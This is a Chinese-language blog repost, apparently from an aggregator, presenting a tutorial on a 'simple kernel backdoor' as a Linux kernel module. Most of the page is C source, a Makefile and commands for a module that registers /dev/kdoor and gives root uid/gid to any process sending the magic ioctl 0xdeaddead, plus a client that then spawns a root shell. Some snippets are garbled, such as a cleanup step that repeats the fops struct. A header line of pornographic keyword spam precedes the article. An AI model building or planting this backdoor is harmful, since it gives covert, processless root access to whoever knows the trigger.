日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > linux >内容正文

linux

linux内核启动后门,Linux内核模块入门之简单内核后门

發布時間:2023/12/19 linux 31 豆豆
生活随笔 收集整理的這篇文章主要介紹了 linux内核启动后门,Linux内核模块入门之简单内核后门 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

內核模塊簡介

Linux內核支持運行時動態擴展,即運行時動態加載內核擴展模塊(.ko文件),ko文件所包含的代碼經加載后即成為內核代碼的一部分,擁有內核特權,可以調用內核其它組件,訪問內核空間數據以及操作硬件。當然也有跟內核代碼一樣的限制,如較小的函數調用棧,不支持浮點運算等。

此處列舉一些內核模塊特有的能力:

硬件驅動。內核模塊作為硬件的驅動程序,這應該是內核模塊最主要的設計目標。

進程控制。內核態對進程有完全的控制權,如權限提升(如內核后門)、信號掛起(如保護某個進程不被kill -9誤殺)。

內核擴展。內核有一些擴展點,是需要用模塊來完成的(Linux的防火墻框架netfilter)。

此外,由于眾所周知的原因,開發內核模塊,只能使用C語言。

內核模塊與用戶空間的接口

內核和用戶空間的通信,主要有以下幾種方式:

系統調用

ioctl

proc

netlink

其中,系統調用是最直接的,但不適用于內核模塊,因為擴展系統調用需要編譯整個內核,這違背了運行時動態擴展的初衷;/proc是一個偽文件系統,可以用于傳遞信息,但無法做到實時,因為文件系統是被動的;netlink接口類似socket,提供內核和用戶態間的雙向通信,功能上完全沒問題,但用起來有些復雜,適合做更重要的事情。所以,這里用ioctl來實現。

ioctl是針對文件的操作,所以這里的套路是:創建一個設備文件,并把內核模塊指定為這個設備文件的驅動程序。這樣,用戶空間對這個設備文件發出的ioctl指令,即可傳達給內核模塊。

內核后門思路

由于內核代碼擁有系統最高權限(當然,裝載內核模塊需要root權限,否則系統就沒有安全性可言了),故可以在內核模塊中留下后門,以便隨后的某個時刻獲取系統最高權限。其實現思路很簡單,內核模塊加載后作為內核一部分運行,用戶空間進程通過ioctl調用內核模塊中的函數,內核模塊將調用者進程的uid和gid設置為root,即可實現權限提升。另外,由于內核模塊是跟內核運行在一起的,故這種后門是沒有進程的。

具體實現

01 聲明初始化和結束入口

//其中init和cleanup是模塊里實現的函數,會在下面介紹

module_init(init);

module_exit(cleanup);

}

內核模塊被加載和卸載時,相應的初始化和清理函數被調用,一般是做一些資源的申請、釋放操作。

02 設備注冊

分配設備號,并指定模塊中的函數作為設備驅動例程,這個過程一般在模塊的初始化函數里實現,模塊的初始化函數在模塊被加載時被自動調用:

static int init(void) {

const char *const dev_name = “/dev/kdoor”;

g_major = register_chrdev(0, dev_name, &fops);

if (g_major < 0) {

return g_major;

}

return 0;

}

其中的fops是一個函數指針數組,用于指定設備驅動函數地址,這里只需要注冊響應打開文件,關閉文件和ioctl的函數:

static struct file_operations fops = {

.owner = THIS_MODULE,

.open = device_open,

.release = device_release,

.unlocked_ioctl = device_ioctl

};

同理,需要在模塊被卸載時卸載驅動。釋放設備號資源:

static struct file_operations fops = {

.owner = THIS_MODULE,

.open = device_open,

.release = device_release,

.unlocked_ioctl = device_ioctl

};

03 處理設備打開

有進程打開相應設備文件時,該函數被自動調用,這里由于功能太簡單,什么都不需要做,返回成功即可:

static int device_open(struct inode *inode, struct file *file) {

return 0;

}

04 響應ioctl

有進程在設備文件上調用ioctl時,該函數被自動調用,我們的后門功能也就在這里完成:

static long device_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {

//涉及到Linux的RCU操作,不能直接賦值,稍微有點繁瑣但并不復雜

struct cred *new_cred;

kuid_t kuid = KUIDT_INIT(0);

kgid_t kgid = KGIDT_INIT(0);

if (cmd == 0xdeaddead) {

new_cred = prepare_creds();

if (new_cred == NULL) {

return -ENOMEM;

}

new_cred->uid = kuid;

new_cred->gid = kgid;

new_cred->euid = kuid;

new_cred->egid = kgid;

commit_creds(new_cred);

}

return 0;

}

05 處理關閉文件

設備文件描述符被關閉時,或者進程異常時,這個函數被自動調用,針對這個例子,這里依然什么都不需要做:

static int device_release(struct inode *inode, struct file *file) {

return 0;

}

后門的使用

01 編譯內核模塊

核心是一個特殊的Makefile:

ifneq ($(KERNELRELEASE),)

obj-m:=kdoor.o

else

PWD:=$(shell pwd)

KDIR:=/lib/modules/$(shell uname -r)/build

all:

$(MAKE) -C $(KDIR) M=$(PWD)

clean:

rm -rf *.o *.mod.c *.ko *.symvers *.order *.markers

endif

另外,內核模塊編譯時,還需要安裝內核開發目錄。

02 加載模塊

上述模塊經過編譯后,即可得到一個ko文件:

insmod ./kdoor.ko

03 創建設備

使用mknod命令創建設備文件:根據設備驅動編號創建設備文件,以便用戶空間可以與內核模塊通信:

mknod /dev/kdoor c `grep KDoor /proc/devices|awk ‘{print $1}’` 0

第二個參數c表示此處創建的是一個字符設備,第三個參數是設備號,可以從/proc/devices文件獲取。

在用戶空間使用這個后門(將調用進程權限提升為root)

直接上代碼(留意注釋):

int main(int argc, char *argv[]) {

const char * const dev_name = “/dev/kdoor”;

//打開文件

int fd = open(dev_name, O_RDWR);

if (-1 == fd) {

return 1;

}

//通過ioctl調用到模塊中的實現

int ret = ioctl(fd, 0xdeaddead, 0);

if (ret != 0) {

return 1;

}

//執行shell,此shell即擁有root權限

execlp(“sh”, “sh”, NULL);

總結

以上是生活随笔為你收集整理的linux内核启动后门,Linux内核模块入门之简单内核后门的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。